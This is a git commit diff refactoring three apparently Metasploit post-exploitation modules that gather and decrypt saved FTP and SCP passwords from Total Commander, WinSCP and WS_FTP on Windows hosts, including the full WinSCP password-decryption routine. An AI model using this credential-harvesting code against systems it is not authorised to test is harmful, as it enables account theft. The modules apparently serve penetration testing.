Applied patch from lightcosine for profile mixin, minor fixes and some code standard changes
git-svn-id: file:///home/svn/framework3/trunk@13386 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
e87fb830ec
commit
f0877e1c5b
|
@ -10,19 +10,21 @@
|
|||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'rex/parser/ini'
|
||||
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Total Commander Saved Password Extraction',
|
||||
'Description' => %q{ This module extracts weakly encrypted
|
||||
saved FTP Passwords from Total Commander.
|
||||
It finds saved FTP connections in the
|
||||
wcx_ftp.ini file. },
|
||||
'Description' => %q{
|
||||
This module extracts weakly encrypted saved FTP Passwords from Total Commander.
|
||||
It finds saved FTP connections in the wcx_ftp.ini file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Version' => '$Revision$',
|
||||
|
@ -35,30 +37,23 @@ class Metasploit3 < Msf::Post
|
|||
def run
|
||||
print_status("Checking Default Locations...")
|
||||
check_systemroot
|
||||
os = session.sys.config.sysinfo['OS']
|
||||
drive = session.fs.file.expand_path("%SystemDrive%")
|
||||
if os =~ /Windows 7|Vista|2008/
|
||||
@appdata = '\\AppData\\Roaming\\'
|
||||
@users = drive + '\\Users'
|
||||
else
|
||||
@appdata = '\\Application Data\\'
|
||||
@users = drive + '\\Documents and Settings'
|
||||
|
||||
grab_user_profiles().each do |user|
|
||||
next if user['AppData'] == nil
|
||||
next if user['ProfileDir'] == nil
|
||||
check_userdir(user['ProfileDir'])
|
||||
check_appdata(user['AppData'])
|
||||
end
|
||||
|
||||
get_users
|
||||
@userpaths.each do |path|
|
||||
check_userdir(path)
|
||||
check_appdata(path)
|
||||
end
|
||||
|
||||
hklmpath = registry_getvaldata("HKLM\\Software\\Ghisler\\Total Commander", 'FtpIniName')
|
||||
commander_key = "HKLM\\Software\\Ghisler\\Total Commander"
|
||||
hklmpath = registry_getvaldata(commander_key, 'FtpIniName')
|
||||
case hklmpath
|
||||
when nil
|
||||
print_status("Total Commander Does not Appear to be Installed Globally")
|
||||
when "wcx_ftp.ini"
|
||||
print_status("Already Checked SYSTEMROOT")
|
||||
when ".\\wcx_ftp.ini"
|
||||
hklminstpath = registry_getvaldata("HKLM\\Software\\Ghisler\\Total Commander", 'InstallDir')
|
||||
hklminstpath = registry_getvaldata(commander_key, 'InstallDir')
|
||||
check_other(hklminstpath +'\\wcx_ftp.ini')
|
||||
when /APPDATA/
|
||||
print_status("Already Checked AppData")
|
||||
|
@ -68,19 +63,20 @@ class Metasploit3 < Msf::Post
|
|||
check_other(hklmpath)
|
||||
end
|
||||
|
||||
registry_enumkeys('HKU').each do |k|
|
||||
next unless k.include? "S-1-5-21"
|
||||
next if k.include? "_Classes"
|
||||
print_status("Looking at Key #{k}")
|
||||
hkupath = registry_getvaldata("HKU\\#{k}\\Software\\Ghisler\\Total Commander", 'FtpIniName')
|
||||
userhives=load_missing_hives()
|
||||
userhives.each do |hive|
|
||||
next if hive['HKU'] == nil
|
||||
print_status("Looking at Key #{hive['HKU']}")
|
||||
profile_commander_key = "#{hive['HKU']}\\Software\\Ghisler\\Total Commander"
|
||||
hkupath = registry_getvaldata(profile_commander_key, 'FtpIniName')
|
||||
print_status("HKUP: #{hkupath}")
|
||||
case hkupath
|
||||
when nil
|
||||
print_status("Total Commander Does not Appear to be Installed on This User or we do not have sufficient rights to this user")
|
||||
print_status("Total Commander Does not Appear to be Installed on This User")
|
||||
when "wcx_ftp.ini"
|
||||
print_status("Already Checked SYSTEMROOT")
|
||||
when ".\\wcx_ftp.ini"
|
||||
hklminstpath = registry_getvaldata("HKU\\#{k}\\Software\\Ghisler\\Total Commander", 'InstallDir')
|
||||
hklminstpath = registry_getvaldata(profile_commander_key, 'InstallDir')
|
||||
check_other(hklminstpath +'\\wcx_ftp.ini')
|
||||
when /APPDATA/
|
||||
print_status("Already Checked AppData")
|
||||
|
@ -91,6 +87,7 @@ class Metasploit3 < Msf::Post
|
|||
check_other(hkupath)
|
||||
end
|
||||
end
|
||||
unload_our_hives(userhives)
|
||||
|
||||
end
|
||||
|
||||
|
@ -109,7 +106,7 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def check_appdata(path)
|
||||
filename= "#{path}#{@appdata}\\GHISLER\\wcx_ftp.ini"
|
||||
filename= "#{path}\\GHISLER\\wcx_ftp.ini"
|
||||
begin
|
||||
iniexists = client.fs.file.stat(filename)
|
||||
print_status("Found File at #{filename}")
|
||||
|
@ -146,17 +143,6 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
|
||||
def get_users
|
||||
@userpaths=[]
|
||||
session.fs.dir.foreach(@users) do |path|
|
||||
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
@userpaths << "#{@users}\\#{path}\\"
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
def get_ini(filename)
|
||||
config = client.fs.file.new(filename,'r')
|
||||
|
|
|
@ -15,21 +15,22 @@ require 'msf/core'
|
|||
require 'rex'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'rex/parser/ini'
|
||||
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather WinSCP Saved Password Extraction',
|
||||
'Description' => %q{ This module extracts weakly encrypted
|
||||
saved passwords from WinSCP. It
|
||||
searches for saved sessions in the
|
||||
Windows Registry and the WinSCP.ini
|
||||
file. It cannot decrypt passwords
|
||||
if a master password is used.},
|
||||
'Description' => %q{
|
||||
This module extracts weakly encrypted saved passwords from
|
||||
WinSCP. It searches for saved sessions in the Windows Registry
|
||||
and the WinSCP.ini file. It cannot decrypt passwords if a master
|
||||
password is used.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Platform' => [ 'windows' ],
|
||||
|
@ -39,47 +40,53 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def get_reg
|
||||
#Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys.
|
||||
# Enumerate all the SID in HKEY_Users and see if any of them have WinSCP RegistryKeys.
|
||||
regexists = 0
|
||||
registry_enumkeys('HKU').each do |k|
|
||||
masterpw = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security", 'UseMasterPassword')
|
||||
|
||||
userhives=load_missing_hives()
|
||||
userhives.each do |hive|
|
||||
next if hive['HKU'] == nil
|
||||
master_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security"
|
||||
masterpw = registry_getvaldata(master_key, 'UseMasterPassword')
|
||||
|
||||
#No WinSCP Keys here
|
||||
next if masterpw.nil?
|
||||
|
||||
|
||||
if masterpw == nil
|
||||
#No WinSCP Keys here
|
||||
next
|
||||
end
|
||||
regexists = 1
|
||||
if masterpw == 1
|
||||
#Master Password used to add AES256 encryption to stored password
|
||||
print_status("User #{k} is using a Master Password, cannot recover passwords")
|
||||
# Master Password used to add AES256 encryption to stored password
|
||||
print_status("User #{hive['HKU']} is using a Master Password, cannot recover passwords")
|
||||
next
|
||||
|
||||
else
|
||||
#Take a look at any saved sessions
|
||||
# Take a look at any saved sessions
|
||||
savedpwds = 0
|
||||
registry_enumkeys("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions").each do |session|
|
||||
#Skip default settings entry
|
||||
if session == "Default%20Settings"
|
||||
next
|
||||
end
|
||||
|
||||
password = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'Password')
|
||||
if password == nil
|
||||
#There is no password saved for this session, so we skip it
|
||||
next
|
||||
end
|
||||
session_key = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions"
|
||||
saved_sessions = registry_enumkeys(session_key)
|
||||
next if saved_sessions.nil?
|
||||
saved_sessions.each do |saved_session|
|
||||
# Skip default settings entry
|
||||
next if saved_session == "Default%20Settings"
|
||||
|
||||
active_session = "#{hive['HKU']}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{saved_session}"
|
||||
password = registry_getvaldata(active_session, 'Password')
|
||||
# There is no password saved for this session, so we skip it
|
||||
next if password == nil
|
||||
|
||||
savedpwds = 1
|
||||
portnum = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'PortNumber')
|
||||
portnum = registry_getvaldata(active_session, 'PortNumber')
|
||||
if portnum == nil
|
||||
#If no explicit port number entry exists, it is set to default port of tcp22
|
||||
# If no explicit port number entry exists, it is set to default port of tcp22
|
||||
portnum = 22
|
||||
end
|
||||
|
||||
user = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'UserName')
|
||||
host = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'HostName')
|
||||
proto = registry_getvaldata("HKU\\#{k}\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\#{session}", 'FSProtocol')
|
||||
user = registry_getvaldata(active_session, 'UserName')
|
||||
host = registry_getvaldata(active_session, 'HostName')
|
||||
proto = registry_getvaldata(active_session, 'FSProtocol')
|
||||
|
||||
#If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 it is set to SCP.
|
||||
# If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0
|
||||
# it is set to SCP.
|
||||
if proto == nil or proto == 0
|
||||
proto = "SCP"
|
||||
else
|
||||
|
@ -110,6 +117,7 @@ class Metasploit3 < Msf::Post
|
|||
if regexists == 0
|
||||
print_status("No WinSCP Registry Keys found!")
|
||||
end
|
||||
unload_our_hives(userhives)
|
||||
|
||||
end
|
||||
|
||||
|
@ -117,7 +125,7 @@ class Metasploit3 < Msf::Post
|
|||
def get_ini(filename)
|
||||
begin
|
||||
#opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
|
||||
iniexists = client.fs.file.stat(filename)
|
||||
client.fs.file.stat(filename)
|
||||
config = client.fs.file.new(filename,'r')
|
||||
parse = config.read
|
||||
print_status("Found WinSCP.ini file...")
|
||||
|
@ -135,7 +143,7 @@ class Metasploit3 < Msf::Post
|
|||
if group=~/#{groupkey}/
|
||||
#See if we have a password saved in this sessions
|
||||
if ini[group].has_key?('Password')
|
||||
#If no explicit port number is defined, then it is the default tcp22
|
||||
# If no explicit port number is defined, then it is the default tcp 22
|
||||
if ini[group].has_key?('PortNumber')
|
||||
portnum = ini[group]['PortNumber']
|
||||
else
|
||||
|
@ -145,13 +153,14 @@ class Metasploit3 < Msf::Post
|
|||
user= ini[group]['UserName']
|
||||
proto = ini[group]['FSProtocol']
|
||||
|
||||
#If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 it is set to SCP.
|
||||
# If no explicit protocol entry exists it is on sFTP with SCP backup. If it
|
||||
# is 0 it is set to SCP.
|
||||
if proto == nil or proto == 0
|
||||
proto = "SCP"
|
||||
else
|
||||
proto = "FTP"
|
||||
end
|
||||
#Decrypt the password and report on all of the results
|
||||
# Decrypt the password and report on all of the results
|
||||
pass= decrypt_password(ini[group]['Password'], user+host)
|
||||
print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}")
|
||||
report_auth_info(
|
||||
|
@ -174,17 +183,19 @@ class Metasploit3 < Msf::Post
|
|||
pwalg_simple_magic = 0xA3
|
||||
pwalg_simple_string = "0123456789ABCDEF"
|
||||
|
||||
#Decrypts the next charachter in the password sequence
|
||||
# Decrypts the next charachter in the password sequence
|
||||
if @password.length > 0
|
||||
#Takes the first char from the encrypted password and finds its position in the pre-defined string, then left shifts the returned index by 4 bits
|
||||
# Takes the first char from the encrypted password and finds its position in the
|
||||
# pre-defined string, then left shifts the returned index by 4 bits
|
||||
unpack1 = pwalg_simple_string.index(@password[0,1])
|
||||
unpack1= unpack1 << 4
|
||||
|
||||
#Takes the second char from the encrypted password and finds its position in the pre-defined string
|
||||
# Takes the second char from the encrypted password and finds its position in the
|
||||
# pre-defined string
|
||||
unpack2 = pwalg_simple_string.index(@password[1,1])
|
||||
#Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
|
||||
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
|
||||
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
|
||||
#Strips the first two chars off and returns our result
|
||||
# Strips the first two chars off and returns our result
|
||||
@password = @password[2,@password.length]
|
||||
return result
|
||||
end
|
||||
|
|
|
@ -11,16 +11,21 @@ require 'msf/core'
|
|||
require 'rex'
|
||||
require 'rex/parser/ini'
|
||||
require 'msf/core/post/windows/registry'
|
||||
require 'msf/core/post/windows/user_profiles'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::Windows::Registry
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Post::Windows::UserProfiles
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather WS_FTP Saved Password Extraction',
|
||||
'Description' => %q{ This module extracts weakly encrypted saved FTP Passwords
|
||||
from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file. },
|
||||
'Description' => %q{
|
||||
This module extracts weakly encrypted saved FTP Passwords
|
||||
from WS_FTP. It finds saved FTP connections in the ws_ftp.ini file.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Version' => '$Revision$',
|
||||
|
@ -31,41 +36,27 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
def run
|
||||
print_status("Checking Default Locations...")
|
||||
os = session.sys.config.sysinfo['OS']
|
||||
drive = session.fs.file.expand_path("%SystemDrive%")
|
||||
|
||||
if os =~ /Windows 7|Vista|2008/
|
||||
@appdata = '\\AppData\\Roaming\\'
|
||||
@users = drive + '\\Users'
|
||||
else
|
||||
@appdata = '\\Application Data\\'
|
||||
@users = drive + '\\Documents and Settings'
|
||||
end
|
||||
|
||||
get_users
|
||||
@userpaths.each do |path|
|
||||
check_appdata(path)
|
||||
grab_user_profiles().each do |user|
|
||||
next if user['AppData'] == nil
|
||||
check_appdata(user['AppData'] + "\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini")
|
||||
check_appdata(user['AppData'] + "\\Ipswitch\\WS_FTP Home\\Sites\\ws_ftp.ini")
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
def check_appdata(path)
|
||||
filename = "#{path}#{@appdata}\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.ini"
|
||||
|
||||
begin
|
||||
iniexists = client.fs.file.stat(filename)
|
||||
print_status("Found File at #{filename}")
|
||||
get_ini(filename)
|
||||
client.fs.file.stat(path)
|
||||
print_status("Found File at #{path}")
|
||||
get_ini(path)
|
||||
rescue
|
||||
print_status("#{filename} not found ....")
|
||||
print_status("#{path} not found ....")
|
||||
end
|
||||
end
|
||||
|
||||
def get_users
|
||||
@userpaths = []
|
||||
session.fs.dir.foreach(@users) do |path|
|
||||
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
||||
@userpaths << "#{@users}\\#{path}\\"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def get_ini(filename)
|
||||
config = client.fs.file.new(filename, 'r')
|
||||
|
|
Loading…
Reference in New Issue